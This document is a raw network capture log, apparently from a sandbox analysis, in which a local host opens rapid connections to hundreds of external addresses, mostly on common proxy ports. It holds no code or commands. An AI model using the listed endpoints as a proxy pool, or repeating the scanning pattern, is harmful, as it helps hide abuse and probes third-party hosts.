Mar 11, 2024 16:42:18.928172112 CET	50448	3128	192.168.2.11	193.239.86.248
Mar 11, 2024 16:42:18.929657936 CET	50449	5678	192.168.2.11	91.247.92.63
Mar 11, 2024 16:42:18.929909945 CET	3128	49969	195.154.172.161	192.168.2.11
Mar 11, 2024 16:42:18.931497097 CET	50450	999	192.168.2.11	190.110.99.189
Mar 11, 2024 16:42:18.932926893 CET	42331	50204	206.189.9.30	192.168.2.11
Mar 11, 2024 16:42:18.933579922 CET	50451	80	192.168.2.11	104.20.103.68
Mar 11, 2024 16:42:18.933581114 CET	50452	16379	192.168.2.11	51.158.105.107
Mar 11, 2024 16:42:18.934312105 CET	80	50176	223.19.111.185	192.168.2.11
Mar 11, 2024 16:42:18.934508085 CET	50176	80	192.168.2.11	223.19.111.185
Mar 11, 2024 16:42:18.935173988 CET	50453	9999	192.168.2.11	113.195.224.222
Mar 11, 2024 16:42:18.935175896 CET	50176	80	192.168.2.11	223.19.111.185
Mar 11, 2024 16:42:18.936479092 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:18.936650991 CET	50454	8080	192.168.2.11	186.103.130.91
Mar 11, 2024 16:42:18.937191963 CET	4145	50310	142.54.229.249	192.168.2.11
Mar 11, 2024 16:42:18.937979937 CET	8080	50108	103.167.68.77	192.168.2.11
Mar 11, 2024 16:42:18.938009977 CET	50455	80	192.168.2.11	82.97.215.240
Mar 11, 2024 16:42:18.938261986 CET	50108	8080	192.168.2.11	103.167.68.77
Mar 11, 2024 16:42:18.938484907 CET	49919	80	192.168.2.11	50.175.212.74
Mar 11, 2024 16:42:18.938533068 CET	49792	999	192.168.2.11	45.178.133.60
Mar 11, 2024 16:42:18.938575029 CET	49789	5678	192.168.2.11	186.248.87.172
Mar 11, 2024 16:42:18.938575029 CET	49794	999	192.168.2.11	200.106.184.97
Mar 11, 2024 16:42:18.939022064 CET	50108	8080	192.168.2.11	103.167.68.77
Mar 11, 2024 16:42:18.939127922 CET	80	50302	50.231.104.58	192.168.2.11
Mar 11, 2024 16:42:18.939156055 CET	50456	3128	192.168.2.11	15.207.196.77
Mar 11, 2024 16:42:18.940032959 CET	80	50038	104.20.56.71	192.168.2.11
Mar 11, 2024 16:42:18.940278053 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:18.940690994 CET	80	50042	172.67.53.215	192.168.2.11
Mar 11, 2024 16:42:18.941538095 CET	50458	80	192.168.2.11	217.112.80.252
Mar 11, 2024 16:42:18.942713022 CET	80	50194	104.20.24.214	192.168.2.11
Mar 11, 2024 16:42:18.942758083 CET	80	50194	104.20.24.214	192.168.2.11
Mar 11, 2024 16:42:18.942759991 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:18.942773104 CET	30000	50200	161.97.74.176	192.168.2.11
Mar 11, 2024 16:42:18.942902088 CET	50200	30000	192.168.2.11	161.97.74.176
Mar 11, 2024 16:42:18.943047047 CET	80	50194	104.20.24.214	192.168.2.11
Mar 11, 2024 16:42:18.943142891 CET	80	50195	172.67.150.173	192.168.2.11
Mar 11, 2024 16:42:18.943160057 CET	50194	80	192.168.2.11	104.20.24.214
Mar 11, 2024 16:42:18.943196058 CET	80	50195	172.67.150.173	192.168.2.11
Mar 11, 2024 16:42:18.943221092 CET	50459	5836	192.168.2.11	185.158.248.95
Mar 11, 2024 16:42:18.943525076 CET	1080	50146	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:18.943536043 CET	80	50195	172.67.150.173	192.168.2.11
Mar 11, 2024 16:42:18.943619013 CET	50146	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:18.943619013 CET	50195	80	192.168.2.11	172.67.150.173
Mar 11, 2024 16:42:18.943686008 CET	50194	80	192.168.2.11	104.20.24.214
Mar 11, 2024 16:42:18.944492102 CET	50200	30000	192.168.2.11	161.97.74.176
Mar 11, 2024 16:42:18.944960117 CET	50195	80	192.168.2.11	172.67.150.173
Mar 11, 2024 16:42:18.945018053 CET	50146	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:18.945578098 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:18.945661068 CET	50461	59559	192.168.2.11	192.163.200.80
Mar 11, 2024 16:42:18.947114944 CET	5096	50225	165.154.227.154	192.168.2.11
Mar 11, 2024 16:42:18.948400021 CET	50463	999	192.168.2.11	157.100.56.40
Mar 11, 2024 16:42:18.948435068 CET	50462	80	192.168.2.11	104.16.105.142
Mar 11, 2024 16:42:18.949561119 CET	50464	27391	192.168.2.11	72.195.34.60
Mar 11, 2024 16:42:18.950730085 CET	50465	3128	192.168.2.11	2.179.193.146
Mar 11, 2024 16:42:18.951258898 CET	80	50209	172.67.38.96	192.168.2.11
Mar 11, 2024 16:42:18.951272011 CET	80	50209	172.67.38.96	192.168.2.11
Mar 11, 2024 16:42:18.952248096 CET	50209	80	192.168.2.11	172.67.38.96
Mar 11, 2024 16:42:18.953591108 CET	50467	6060	192.168.2.11	185.165.232.65
Mar 11, 2024 16:42:18.953640938 CET	50466	3128	192.168.2.11	18.135.211.182
Mar 11, 2024 16:42:18.954121113 CET	49795	999	192.168.2.11	201.71.3.60
Mar 11, 2024 16:42:18.954125881 CET	49791	31908	192.168.2.11	64.227.108.25
Mar 11, 2024 16:42:18.954154968 CET	49793	5038	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:18.954621077 CET	80	50209	172.67.38.96	192.168.2.11
Mar 11, 2024 16:42:18.955466986 CET	50468	14287	192.168.2.11	64.227.108.182
Mar 11, 2024 16:42:18.955466986 CET	50209	80	192.168.2.11	172.67.38.96
Mar 11, 2024 16:42:18.955785990 CET	33590	49735	85.120.30.66	192.168.2.11
Mar 11, 2024 16:42:18.957210064 CET	50470	8080	192.168.2.11	112.78.164.248
Mar 11, 2024 16:42:18.957210064 CET	50469	4153	192.168.2.11	177.72.82.47
Mar 11, 2024 16:42:18.958306074 CET	80	50343	104.25.167.88	192.168.2.11
Mar 11, 2024 16:42:18.958997965 CET	50472	999	192.168.2.11	45.224.20.68
Mar 11, 2024 16:42:18.958997965 CET	50473	8085	192.168.2.11	191.102.254.54
Mar 11, 2024 16:42:18.958997965 CET	50343	80	192.168.2.11	104.25.167.88
Mar 11, 2024 16:42:18.959208012 CET	50343	80	192.168.2.11	104.25.167.88
Mar 11, 2024 16:42:18.959209919 CET	50471	80	192.168.2.11	104.24.35.152
Mar 11, 2024 16:42:18.959414005 CET	80	50217	31.43.179.214	192.168.2.11
Mar 11, 2024 16:42:18.959564924 CET	80	50217	31.43.179.214	192.168.2.11
Mar 11, 2024 16:42:18.959579945 CET	5678	50245	191.97.2.198	192.168.2.11
Mar 11, 2024 16:42:18.960004091 CET	50217	80	192.168.2.11	31.43.179.214
Mar 11, 2024 16:42:18.960365057 CET	4153	50101	203.76.117.74	192.168.2.11
Mar 11, 2024 16:42:18.960709095 CET	80	50217	31.43.179.214	192.168.2.11
Mar 11, 2024 16:42:18.961035013 CET	8081	49803	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.961154938 CET	50217	80	192.168.2.11	31.43.179.214
Mar 11, 2024 16:42:18.961179018 CET	8081	49803	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.961503029 CET	8080	50286	4.236.183.37	192.168.2.11
Mar 11, 2024 16:42:18.962086916 CET	50474	3128	192.168.2.11	86.107.178.103
Mar 11, 2024 16:42:18.962101936 CET	50475	8080	192.168.2.11	1.0.171.213
Mar 11, 2024 16:42:18.962173939 CET	50286	8080	192.168.2.11	4.236.183.37
Mar 11, 2024 16:42:18.962897062 CET	8081	50202	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:18.962929964 CET	50286	8080	192.168.2.11	4.236.183.37
Mar 11, 2024 16:42:18.962990046 CET	50202	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.963219881 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:18.963663101 CET	50202	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:18.963809013 CET	49877	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:18.964375019 CET	50476	80	192.168.2.11	50.217.226.45
Mar 11, 2024 16:42:18.964385033 CET	8080	50210	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:18.964555025 CET	7891	50228	43.129.228.46	192.168.2.11
Mar 11, 2024 16:42:18.964582920 CET	50210	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.964694023 CET	50228	7891	192.168.2.11	43.129.228.46
Mar 11, 2024 16:42:18.964699030 CET	50210	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.965682030 CET	50477	57642	192.168.2.11	107.180.88.41
Mar 11, 2024 16:42:18.966269970 CET	8080	50210	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:18.966304064 CET	50228	7891	192.168.2.11	43.129.228.46
Mar 11, 2024 16:42:18.966628075 CET	49478	49730	162.241.70.64	192.168.2.11
Mar 11, 2024 16:42:18.966757059 CET	49730	49478	192.168.2.11	162.241.70.64
Mar 11, 2024 16:42:18.967277050 CET	50478	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:18.967502117 CET	50479	63951	192.168.2.11	107.180.95.177
Mar 11, 2024 16:42:18.967899084 CET	49730	49478	192.168.2.11	162.241.70.64
Mar 11, 2024 16:42:18.968338013 CET	80	50352	172.67.231.3	192.168.2.11
Mar 11, 2024 16:42:18.968545914 CET	50352	80	192.168.2.11	172.67.231.3
Mar 11, 2024 16:42:18.969388962 CET	50352	80	192.168.2.11	172.67.231.3
Mar 11, 2024 16:42:18.969393015 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:18.970051050 CET	49796	54240	192.168.2.11	200.25.254.193
Mar 11, 2024 16:42:18.970073938 CET	49802	37400	192.168.2.11	171.244.140.160
Mar 11, 2024 16:42:18.970082045 CET	49915	5775	192.168.2.11	72.10.160.92
Mar 11, 2024 16:42:18.970082998 CET	49835	3129	192.168.2.11	20.204.212.76
Mar 11, 2024 16:42:18.970091105 CET	49893	80	192.168.2.11	50.223.239.166
Mar 11, 2024 16:42:18.970093012 CET	49798	8089	192.168.2.11	114.231.45.101
Mar 11, 2024 16:42:18.970165014 CET	49889	80	192.168.2.11	50.174.145.11
Mar 11, 2024 16:42:18.970174074 CET	49801	45876	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:18.970963001 CET	50481	8880	192.168.2.11	95.66.138.21
Mar 11, 2024 16:42:18.971959114 CET	50482	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.972007990 CET	443	50482	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.972243071 CET	50482	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.972968102 CET	50482	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.973004103 CET	443	50482	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.973071098 CET	443	50482	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.973783016 CET	50483	1080	192.168.2.11	35.154.71.72
Mar 11, 2024 16:42:18.975805998 CET	50484	3128	192.168.2.11	84.17.51.241
Mar 11, 2024 16:42:18.975805998 CET	50485	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.975831032 CET	443	50485	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.976707935 CET	80	50248	50.217.226.44	192.168.2.11
Mar 11, 2024 16:42:18.976921082 CET	50485	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.977086067 CET	50486	80	192.168.2.11	104.27.83.183
Mar 11, 2024 16:42:18.977417946 CET	26315	49817	72.10.160.171	192.168.2.11
Mar 11, 2024 16:42:18.978387117 CET	50485	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.978401899 CET	443	50485	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.978456020 CET	443	50485	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.978779078 CET	14282	50065	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:18.978892088 CET	50487	9090	192.168.2.11	103.105.76.214
Mar 11, 2024 16:42:18.980107069 CET	14282	50065	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:18.980731964 CET	50488	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.980762959 CET	443	50488	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.981420040 CET	50489	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:18.981421947 CET	50490	999	192.168.2.11	190.71.24.129
Mar 11, 2024 16:42:18.981498003 CET	50488	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.981664896 CET	80	50242	141.147.33.121	192.168.2.11
Mar 11, 2024 16:42:18.981695890 CET	50488	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.981713057 CET	443	50488	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.981764078 CET	443	50488	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.982338905 CET	80	50070	185.238.228.67	192.168.2.11
Mar 11, 2024 16:42:18.982381105 CET	50491	80	192.168.2.11	50.239.72.17
Mar 11, 2024 16:42:18.983093977 CET	50492	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.983124018 CET	443	50492	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.983257055 CET	50492	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.983515024 CET	50493	8080	192.168.2.11	194.124.36.75
Mar 11, 2024 16:42:18.983591080 CET	50492	443	192.168.2.11	93.190.24.119
Mar 11, 2024 16:42:18.983602047 CET	443	50492	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.983640909 CET	443	50492	93.190.24.119	192.168.2.11
Mar 11, 2024 16:42:18.984059095 CET	50494	4145	192.168.2.11	142.54.231.38
Mar 11, 2024 16:42:18.984091043 CET	80	50256	82.64.77.30	192.168.2.11
Mar 11, 2024 16:42:18.984684944 CET	50256	80	192.168.2.11	82.64.77.30
Mar 11, 2024 16:42:18.985189915 CET	80	50237	104.17.171.235	192.168.2.11
Mar 11, 2024 16:42:18.985207081 CET	80	50237	104.17.171.235	192.168.2.11
Mar 11, 2024 16:42:18.986152887 CET	80	50237	104.17.171.235	192.168.2.11
Mar 11, 2024 16:42:18.986167908 CET	8888	50255	3.25.234.175	192.168.2.11
Mar 11, 2024 16:42:18.986310959 CET	50237	80	192.168.2.11	104.17.171.235
Mar 11, 2024 16:42:18.986331940 CET	50255	8888	192.168.2.11	3.25.234.175
Mar 11, 2024 16:42:18.987018108 CET	8181	50240	43.132.184.228	192.168.2.11
Mar 11, 2024 16:42:18.988071918 CET	41055	50233	62.171.131.101	192.168.2.11
Mar 11, 2024 16:42:18.988265038 CET	50233	41055	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:18.988790989 CET	10003	49994	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:18.989340067 CET	49994	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:18.990797043 CET	80	50090	23.227.38.198	192.168.2.11
Mar 11, 2024 16:42:18.991276979 CET	80	50247	172.67.182.126	192.168.2.11
Mar 11, 2024 16:42:18.991291046 CET	80	50247	172.67.182.126	192.168.2.11
Mar 11, 2024 16:42:18.991621017 CET	80	50247	172.67.182.126	192.168.2.11
Mar 11, 2024 16:42:18.991636992 CET	80	49779	50.174.145.9	192.168.2.11
Mar 11, 2024 16:42:18.991651058 CET	50247	80	192.168.2.11	172.67.182.126
Mar 11, 2024 16:42:18.993695021 CET	50247	80	192.168.2.11	172.67.182.126
Mar 11, 2024 16:42:18.996856928 CET	80	50376	172.67.3.98	192.168.2.11
Mar 11, 2024 16:42:18.997179031 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:18.998567104 CET	4145	50373	72.195.114.169	192.168.2.11
Mar 11, 2024 16:42:18.998706102 CET	50373	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:18.998755932 CET	50376	80	192.168.2.11	172.67.3.98
Mar 11, 2024 16:42:18.998909950 CET	8123	49761	20.24.43.214	192.168.2.11
Mar 11, 2024 16:42:18.998941898 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.000375032 CET	80	50219	8.222.239.209	192.168.2.11
Mar 11, 2024 16:42:19.000526905 CET	8197	49831	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.000539064 CET	8197	49831	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.000550985 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.000797033 CET	50219	80	192.168.2.11	8.222.239.209
Mar 11, 2024 16:42:19.000891924 CET	50376	80	192.168.2.11	172.67.3.98
Mar 11, 2024 16:42:19.000998020 CET	49804	8080	192.168.2.11	14.207.41.71
Mar 11, 2024 16:42:19.001027107 CET	49805	3128	192.168.2.11	196.202.40.17
Mar 11, 2024 16:42:19.001027107 CET	49927	5678	192.168.2.11	181.78.13.91
Mar 11, 2024 16:42:19.001035929 CET	49807	999	192.168.2.11	157.100.63.69
Mar 11, 2024 16:42:19.001036882 CET	49809	3629	192.168.2.11	188.124.15.13
Mar 11, 2024 16:42:19.001055002 CET	49810	80	192.168.2.11	149.202.91.219
Mar 11, 2024 16:42:19.001055002 CET	49815	80	192.168.2.11	143.198.226.25
Mar 11, 2024 16:42:19.001056910 CET	49808	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:19.001058102 CET	49806	1080	192.168.2.11	185.82.87.30
Mar 11, 2024 16:42:19.001173973 CET	50219	80	192.168.2.11	8.222.239.209
Mar 11, 2024 16:42:19.001260996 CET	80	50381	104.24.193.186	192.168.2.11
Mar 11, 2024 16:42:19.001391888 CET	8197	50260	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.001405001 CET	3129	50174	20.204.214.79	192.168.2.11
Mar 11, 2024 16:42:19.001415968 CET	50381	80	192.168.2.11	104.24.193.186
Mar 11, 2024 16:42:19.001439095 CET	50381	80	192.168.2.11	104.24.193.186
Mar 11, 2024 16:42:19.001574993 CET	50260	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.001574993 CET	50260	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.004710913 CET	80	50388	104.25.81.82	192.168.2.11
Mar 11, 2024 16:42:19.004873991 CET	50388	80	192.168.2.11	104.25.81.82
Mar 11, 2024 16:42:19.004962921 CET	50388	80	192.168.2.11	104.25.81.82
Mar 11, 2024 16:42:19.006527901 CET	50237	80	192.168.2.11	104.17.171.235
Mar 11, 2024 16:42:19.006556988 CET	50256	80	192.168.2.11	82.64.77.30
Mar 11, 2024 16:42:19.006577969 CET	50255	8888	192.168.2.11	3.25.234.175
Mar 11, 2024 16:42:19.006580114 CET	50233	41055	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:19.007361889 CET	9764	50331	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.007520914 CET	4145	49712	152.32.78.24	192.168.2.11
Mar 11, 2024 16:42:19.007664919 CET	50331	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.007867098 CET	9764	49961	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.007879972 CET	9764	49961	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.007898092 CET	50331	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.008764029 CET	9039	49827	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.009845018 CET	50495	3128	192.168.2.11	107.155.65.11
Mar 11, 2024 16:42:19.009849072 CET	50496	5678	192.168.2.11	197.251.236.227
Mar 11, 2024 16:42:19.010762930 CET	50497	4153	192.168.2.11	109.86.220.12
Mar 11, 2024 16:42:19.012243986 CET	50498	17982	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.012470007 CET	8080	50361	5.78.89.192	192.168.2.11
Mar 11, 2024 16:42:19.012624979 CET	80	50277	104.17.166.210	192.168.2.11
Mar 11, 2024 16:42:19.012799978 CET	80	50277	104.17.166.210	192.168.2.11
Mar 11, 2024 16:42:19.013130903 CET	50499	3128	192.168.2.11	159.203.61.169
Mar 11, 2024 16:42:19.013484001 CET	80	50282	172.67.181.129	192.168.2.11
Mar 11, 2024 16:42:19.013495922 CET	80	50282	172.67.181.129	192.168.2.11
Mar 11, 2024 16:42:19.013508081 CET	80	50277	104.17.166.210	192.168.2.11
Mar 11, 2024 16:42:19.013607979 CET	50277	80	192.168.2.11	104.17.166.210
Mar 11, 2024 16:42:19.013633013 CET	80	50282	172.67.181.129	192.168.2.11
Mar 11, 2024 16:42:19.013806105 CET	50282	80	192.168.2.11	172.67.181.129
Mar 11, 2024 16:42:19.014333963 CET	4145	50060	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.014487982 CET	4145	50060	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:19.016618013 CET	49847	58386	192.168.2.11	5.44.42.115
Mar 11, 2024 16:42:19.016638041 CET	49812	5678	192.168.2.11	193.106.57.96
Mar 11, 2024 16:42:19.016738892 CET	49816	8090	192.168.2.11	115.127.112.74
Mar 11, 2024 16:42:19.016741037 CET	49933	80	192.168.2.11	50.168.163.166
Mar 11, 2024 16:42:19.016741037 CET	49896	64768	192.168.2.11	173.212.250.16
Mar 11, 2024 16:42:19.016741991 CET	49811	1111	192.168.2.11	103.8.164.16
Mar 11, 2024 16:42:19.021296978 CET	5678	49762	178.212.51.79	192.168.2.11
Mar 11, 2024 16:42:19.021792889 CET	48553	50269	203.96.177.211	192.168.2.11
Mar 11, 2024 16:42:19.021954060 CET	50269	48553	192.168.2.11	203.96.177.211
Mar 11, 2024 16:42:19.022300959 CET	3128	50170	41.223.232.117	192.168.2.11
Mar 11, 2024 16:42:19.022403002 CET	50170	3128	192.168.2.11	41.223.232.117
Mar 11, 2024 16:42:19.024158001 CET	24815	50274	95.217.104.21	192.168.2.11
Mar 11, 2024 16:42:19.024173021 CET	8000	50257	128.199.252.41	192.168.2.11
Mar 11, 2024 16:42:19.025393963 CET	80	49834	50.172.218.160	192.168.2.11
Mar 11, 2024 16:42:19.025563955 CET	8080	50196	46.209.54.102	192.168.2.11
Mar 11, 2024 16:42:19.025743961 CET	5034	50250	45.11.95.165	192.168.2.11
Mar 11, 2024 16:42:19.027868986 CET	50269	48553	192.168.2.11	203.96.177.211
Mar 11, 2024 16:42:19.027872086 CET	50170	3128	192.168.2.11	41.223.232.117
Mar 11, 2024 16:42:19.028059006 CET	50250	5034	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:19.028135061 CET	50250	5034	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:19.028717995 CET	50282	80	192.168.2.11	172.67.181.129
Mar 11, 2024 16:42:19.029118061 CET	50277	80	192.168.2.11	104.17.166.210
Mar 11, 2024 16:42:19.029432058 CET	60200	50369	162.241.137.197	192.168.2.11
Mar 11, 2024 16:42:19.030359030 CET	50500	16691	192.168.2.11	92.204.136.149
Mar 11, 2024 16:42:19.031575918 CET	50501	8080	192.168.2.11	14.143.172.238
Mar 11, 2024 16:42:19.031575918 CET	50502	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:19.031775951 CET	50503	80	192.168.2.11	35.196.18.239
Mar 11, 2024 16:42:19.032243967 CET	49820	999	192.168.2.11	45.181.123.145
Mar 11, 2024 16:42:19.032247066 CET	49949	18067	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.032265902 CET	49818	3128	192.168.2.11	193.239.86.249
Mar 11, 2024 16:42:19.032265902 CET	49825	5678	192.168.2.11	45.228.147.209
Mar 11, 2024 16:42:19.032268047 CET	49819	1080	192.168.2.11	5.180.19.140
Mar 11, 2024 16:42:19.032268047 CET	49950	26353	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:19.032360077 CET	49822	8080	192.168.2.11	193.34.21.200
Mar 11, 2024 16:42:19.033180952 CET	50505	80	192.168.2.11	172.173.132.85
Mar 11, 2024 16:42:19.033241034 CET	50504	1080	192.168.2.11	103.47.93.236
Mar 11, 2024 16:42:19.034673929 CET	50506	4019	192.168.2.11	171.235.166.222
Mar 11, 2024 16:42:19.035314083 CET	50507	9002	192.168.2.11	120.197.40.219
Mar 11, 2024 16:42:19.035319090 CET	50508	80	192.168.2.11	3.128.142.113
Mar 11, 2024 16:42:19.035751104 CET	50509	1981	192.168.2.11	156.200.116.71
Mar 11, 2024 16:42:19.040568113 CET	8000	50280	167.172.79.17	192.168.2.11
Mar 11, 2024 16:42:19.040709972 CET	8888	50014	95.164.89.123	192.168.2.11
Mar 11, 2024 16:42:19.040863991 CET	8888	50014	95.164.89.123	192.168.2.11
Mar 11, 2024 16:42:19.040879011 CET	8888	50014	95.164.89.123	192.168.2.11
Mar 11, 2024 16:42:19.041208982 CET	50014	8888	192.168.2.11	95.164.89.123
Mar 11, 2024 16:42:19.041291952 CET	50014	8888	192.168.2.11	95.164.89.123
Mar 11, 2024 16:42:19.041531086 CET	8080	50264	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:19.041821003 CET	50264	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:19.041862011 CET	80	50023	121.159.146.251	192.168.2.11
Mar 11, 2024 16:42:19.042037964 CET	80	50023	121.159.146.251	192.168.2.11
Mar 11, 2024 16:42:19.042052984 CET	80	50023	121.159.146.251	192.168.2.11
Mar 11, 2024 16:42:19.042081118 CET	50264	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:19.042145014 CET	50023	80	192.168.2.11	121.159.146.251
Mar 11, 2024 16:42:19.042768955 CET	80	50132	172.67.182.0	192.168.2.11
Mar 11, 2024 16:42:19.042797089 CET	50023	80	192.168.2.11	121.159.146.251
Mar 11, 2024 16:42:19.042931080 CET	45248	49897	166.62.121.127	192.168.2.11
Mar 11, 2024 16:42:19.044353962 CET	50510	80	192.168.2.11	173.245.49.27
Mar 11, 2024 16:42:19.044476032 CET	50511	25256	192.168.2.11	94.23.220.136
Mar 11, 2024 16:42:19.044476986 CET	80	50129	104.21.194.182	192.168.2.11
Mar 11, 2024 16:42:19.044653893 CET	50512	5123	192.168.2.11	72.10.160.92
Mar 11, 2024 16:42:19.044873953 CET	50514	80	192.168.2.11	51.75.74.18
Mar 11, 2024 16:42:19.044930935 CET	50513	52903	192.168.2.11	203.161.32.242
Mar 11, 2024 16:42:19.045067072 CET	50515	80	192.168.2.11	115.244.127.162
Mar 11, 2024 16:42:19.045388937 CET	50516	3629	192.168.2.11	185.215.53.241
Mar 11, 2024 16:42:19.045418024 CET	50517	5678	192.168.2.11	101.95.182.26
Mar 11, 2024 16:42:19.045450926 CET	50518	8080	192.168.2.11	103.164.58.190
Mar 11, 2024 16:42:19.045793056 CET	50519	8080	192.168.2.11	213.244.91.179
Mar 11, 2024 16:42:19.045908928 CET	50521	30453	192.168.2.11	174.136.57.169
Mar 11, 2024 16:42:19.045908928 CET	50520	9999	192.168.2.11	102.134.181.142
Mar 11, 2024 16:42:19.046166897 CET	50522	80	192.168.2.11	188.166.56.246
Mar 11, 2024 16:42:19.046222925 CET	50523	51251	192.168.2.11	49.12.126.53
Mar 11, 2024 16:42:19.046462059 CET	50525	5678	192.168.2.11	36.95.189.165
Mar 11, 2024 16:42:19.046525002 CET	50524	2906	192.168.2.11	148.72.209.174
Mar 11, 2024 16:42:19.046665907 CET	50526	8080	192.168.2.11	20.205.115.87
Mar 11, 2024 16:42:19.046765089 CET	50527	21802	192.168.2.11	34.93.157.87
Mar 11, 2024 16:42:19.046947002 CET	50528	80	192.168.2.11	152.32.132.220
Mar 11, 2024 16:42:19.047103882 CET	50529	3128	192.168.2.11	91.233.223.147
Mar 11, 2024 16:42:19.047152996 CET	50530	9812	192.168.2.11	12.7.109.1
Mar 11, 2024 16:42:19.047374964 CET	50531	25810	192.168.2.11	146.59.18.246
Mar 11, 2024 16:42:19.047559977 CET	50532	15864	192.168.2.11	192.252.214.20
Mar 11, 2024 16:42:19.047626019 CET	50534	24397	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.047631025 CET	50533	8893	192.168.2.11	186.215.87.194
Mar 11, 2024 16:42:19.047857046 CET	49826	1080	192.168.2.11	93.171.243.253
Mar 11, 2024 16:42:19.047858000 CET	49829	16379	192.168.2.11	163.172.147.9
Mar 11, 2024 16:42:19.047861099 CET	49910	3128	192.168.2.11	194.182.187.78
Mar 11, 2024 16:42:19.047883987 CET	50535	22450	192.168.2.11	50.63.12.33
Mar 11, 2024 16:42:19.047952890 CET	49832	13335	192.168.2.11	172.67.185.199
Mar 11, 2024 16:42:19.048913956 CET	15673	50389	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.048945904 CET	50536	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.049063921 CET	50389	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.049280882 CET	50537	4145	192.168.2.11	184.181.217.206
Mar 11, 2024 16:42:19.049339056 CET	50389	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.049619913 CET	4145	50199	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.049634933 CET	4145	50199	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.050177097 CET	50538	999	192.168.2.11	167.250.222.233
Mar 11, 2024 16:42:19.051382065 CET	16379	50303	163.172.131.178	192.168.2.11
Mar 11, 2024 16:42:19.051398039 CET	50539	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:19.051398039 CET	50540	85	192.168.2.11	43.255.113.232
